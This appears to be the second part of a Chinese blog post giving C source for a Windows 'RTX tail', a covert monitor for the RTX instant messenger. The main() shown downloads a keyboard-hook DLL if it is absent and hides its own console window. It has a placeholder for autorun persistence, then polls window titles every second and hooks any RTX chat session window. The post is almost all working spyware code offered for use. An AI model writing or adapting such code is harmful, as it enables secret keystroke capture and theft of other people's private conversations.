简单实现windows下RTX尾巴(下)(c语言)

接rtxtail.c

BOOL AutoRun()
{
//TODO
}

int main()
{
HANDLE hLib;
HANDLE hModule;
HANDLE hConsole;
HANDLE hFore;
BOOL ftpSuccess = FALSE;
DWORD dllFile;

typedef BOOL (WINAPI *LPSH)(HANDLE);
LPSH SetHook;

typedef BOOL (WINAPI *LPDH)();
LPDH DropHook;

typedef HANDLE (*LPGCW)(void);
LPGCW GetConsoleWindow;

//dll does not exist
dllFile = GetFileAttributes("c:\\windows\\system32\\RTXKeyHook.dll");
printf("%d\n", dllFile);
if(dllFile != -1)
{
printf("file found !\n");
}
else
{
printf("file doesn't exist ! download...\n");
ftpSuccess = DownloadHookDll();
if(!ftpSuccess)
{
printf("failed to download dll !\n");
return -1;
}
printf("download ok!\n");
}

//hide console window
hModule = GetModuleHandle("kernel32.dll");
GetConsoleWindow = (LPGCW)GetProcAddress(hModule, TEXT("GetConsoleWindow"));
hConsole = GetConsoleWindow();
if(hConsole)
{
printf("console found!\n");
ShowWindow(hConsole, SW_HIDE);
}

//autorun
AutoRun();

hLib = LoadLibrary("RTXKeyHook.dll");
if(!hLib)
{
printf("failed to load library");
return -1;
}

SetHook = (LPSH)GetProcAddress(hLib, TEXT("SetHook"));
DropHook = (LPDH)GetProcAddress(hLib, TEXT("DropHook"));

while(TRUE)
{
hFore = GetForegroundWindow();
ZeroMemory(m_store, sizeof(m_store));
GetWindowText(hFore, m_store, sizeof(m_store));
if(strstr(TEXT(m_store), TEXT("- RTX 会话")) > 0
|| strcmp(TEXT(m_store), TEXT(unhookedName)) == 0)
{
printf("found!\n");
if(hLast != NULL)
{
DropHook();
SetWindowText(hLast, unhookedName);
}
SetHook(hFore);
SetWindowText(hFore, hookedName);
hLast = hFore;
}

Sleep(1000);
}

return 0;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值